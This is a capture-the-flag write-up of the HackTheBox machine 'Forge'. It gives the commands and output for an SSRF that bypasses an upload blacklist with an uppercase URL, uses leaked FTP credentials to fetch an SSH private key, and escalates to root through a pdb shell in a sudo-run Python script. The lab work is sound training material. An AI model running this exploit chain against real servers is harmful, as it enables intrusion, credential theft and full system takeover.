jphjsoares@home:~$

Forge [HTB]

Introduction

Forge is a HackTheBox machine (Medium difficulty) that focuses on SSRF.

Initial enumeration

First, as always, lets start with nmap.

➜ nmap -sV -sT -sC 10.10.11.111
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-05 14:24 WET
Nmap scan report for forge.htb (10.10.11.111)
Host is up (0.037s latency).
Not shown: 997 closed ports
PORT   STATE    SERVICE VERSION
21/tcp filtered ftp
22/tcp open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)
|   256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)
|_  256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
80/tcp open     http    Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Gallery
Service Info: Host: 10.10.11.111; OS: Linux; CPE: cpe:/o:linux:linux_kernel

We have web service, so lets run gobuster in it. Port 21 is filtered, but lets keep in mind that it’s there. Might be useful later on.

➜ gobuster dir -w ~/sec/SecLists/Discovery/DNS/directory-list-lowercase-2.3-big.txt -u http://forge.htb -t 100
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://forge.htb
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /Users/jphjs/sec/SecLists/Discovery/DNS/directory-list-lowercase-2.3-big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/12/05 14:30:37 Starting gobuster in directory enumeration mode
===============================================================
/uploads              (Status: 301) [Size: 224] [--> http://forge.htb/uploads/]
/static               (Status: 301) [Size: 307] [--> http://forge.htb/static/]
/upload               (Status: 200) [Size: 929]
/server-status        (Status: 403) [Size: 274]

There’s an upload functionality at /upload. Allowing us to upload a local file or use an url. When we try to upload an image from the site, it looks like it’s blacklisted. If we try to upload with an external URL we get an error:

**An error occured! Error : HTTPSConnectionPool(host='cdn.britannica.com', port=443): Max retries exceeded with url: /60/8160-050-08CCEABC/German-shepherd.jpg (Caused by NewConnectionError('<urllib3.connection.HTTPSConnection object at 0x7f0819c80040>: Failed to establish a new connection: [Errno -3] Temporary failure in name resolution'))**

Uploading a local file uploads our file to:

http://forge.htb/uploads/Ay808RGjmbkgqXktmaiz

The upload hash is always different, even when we try to upload the same picture.

Lets try to find vhosts

➜ wfuzz -c -u 10.10.11.111 -H "HOST: FUZZ.forge.htb" -w ~/sec/SecLists/Discovery/DNS/directory-list-lowercase-2.3-big.txt --sc 200 -t 50
 /opt/homebrew/lib/python3.9/site-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.11.111/
Total requests: 1185254

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000256:   200        1 L      4 W        27 Ch       "admin - admin"

Okay, we have admin.forge.htb lets change /etc/hosts and try to access it. Huhu, we can’t see anything… It says localhost only. BUT WAIT! There is an upload functionality at forge.htb! Maybe we can try to upload the page and check what it contains, lets give it a shot!

SSRF

Upload the url http://ADMIN.FORGE.HTB it has to be in upper case because the url in lower case is probably blacklisted. If we then curl the url given to us we see the source code of the index page :)

➜ curl http://forge.htb/uploads/1MVswuTmUvlUOfMINUjP
<!DOCTYPE html>
<html>
<head>
    <title>Admin Portal</title>
</head>
<body>
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
    <header>
            <nav>
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
            </nav>
    </header>
    <br><br><br><br>
    <br><br><br><br>
    <center><h1>Welcome Admins!</h1></center>
</body>
</html>

There’s a http://ADMIN.FORGE.HTB/announcements and http://ADMIN.FORGE.HTB/upload Uploading the announcements url returns:

➜ curl http://forge.htb/uploads/t24uk5B6Xn79ZtMncTzg
<!DOCTYPE html>
<html>
<head>
    <title>Announcements</title>
</head>
<body>
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
    <link rel="stylesheet" type="text/css" href="/static/css/announcements.css">
    <header>
            <nav>
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
            </nav>
    </header>
    <br><br><br>
    <ul>
        <li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li>
        <li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
        <li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=&lt;url&gt;.</li>
    </ul>
</body>
</html>

We have the credentials to an internal ftp server! (user:heightofsecurity123!). We also know that the /upload endpoint works with GET request and that supports ftp. So we can try and exploit it with our SSRF technique. The url to use will be:

http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@FORGE.HTB

We did it! We are able to access files from ftp through SSRF, that’s cool. Let’s get the id_rsa key and login with ssh.

http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@FORGE.HTB/.ssh/id_rsa

Then, lets curl the given url, prepare the machine id_rsa and finally connect with ssh.

➜ curl http://forge.htb/uploads/v91BRheWkrR0I4Bh1PZO > id_rsa
➜ puttygen id_rsa -O private-openssh -o id_rsa.conv
TODO: how did I find user?
➜ ssh -i id_rsa.conv user@10.10.11.111

ROOT

After checking for multiple things as always for privilege escalation. There was a command that returned something very interesting:

user@forge:/opt$ sudo -l
Matching Defaults entries for user on forge:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User user may run the following commands on forge:
    (ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py

Okay, /opt/remote-manage.py looks suspicious, lets check it out.

user@forge:/opt$ cat remote-manage.py
#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb

port = random.randint(1025, 65535)

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('127.0.0.1', port))
    sock.listen(1)
    print(f'Listening on localhost:{port}')
    (clientsock, addr) = sock.accept()
    clientsock.send(b'Enter the secret passsword: ')
    if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
        clientsock.send(b'Wrong password!\n')
    else:
        clientsock.send(b'Welcome admin!\n')
        while True:
            clientsock.send(b'\nWhat do you wanna do: \n')
            clientsock.send(b'[1] View processes\n')
            clientsock.send(b'[2] View free memory\n')
            clientsock.send(b'[3] View listening sockets\n')
            clientsock.send(b'[4] Quit\n')
            option = int(clientsock.recv(1024).strip())
            if option == 1:
                clientsock.send(subprocess.getoutput('ps aux').encode())
            elif option == 2:
                clientsock.send(subprocess.getoutput('df').encode())
            elif option == 3:
                clientsock.send(subprocess.getoutput('ss -lnt').encode())
            elif option == 4:
                clientsock.send(b'Bye\n')
                break
except Exception as e:
    print(e)
    pdb.post_mortem(e.__traceback__)
finally:
    quit()

This looks like a script that lets the admin connect to the machine and check multiple things. The line pdb.post_mortem(e.__traceback__)looks very interesting. It runs when we cause an exception and might let us run commands as root. So let’s go ahead and open 2 ssh connections and type the following:

First ssh connection:
user@forge:/opt$ sudo -u root /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:47787

Second ssh connection:
user@forge:/opt$ nc 127.0.0.1 47787
Enter the secret passsword: secretadminpassword
Welcome admin!

What do you wanna do:
[1] View processes
[2] View free memory
[3] View listening sockets
[4] Quit
!

We tried to cause an exception with !, so lets check again our first connection:

user@forge:~$ sudo -u root /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:47787
invalid literal for int() with base 10: b'!'
> /opt/remote-manage.py(27)<module>()
-> option = int(clientsock.recv(1024).strip())
(Pdb) import os
(Pdb) os.system("/bin/bash")
root@forge:/home/user#

It worked! We hacked the machine ;)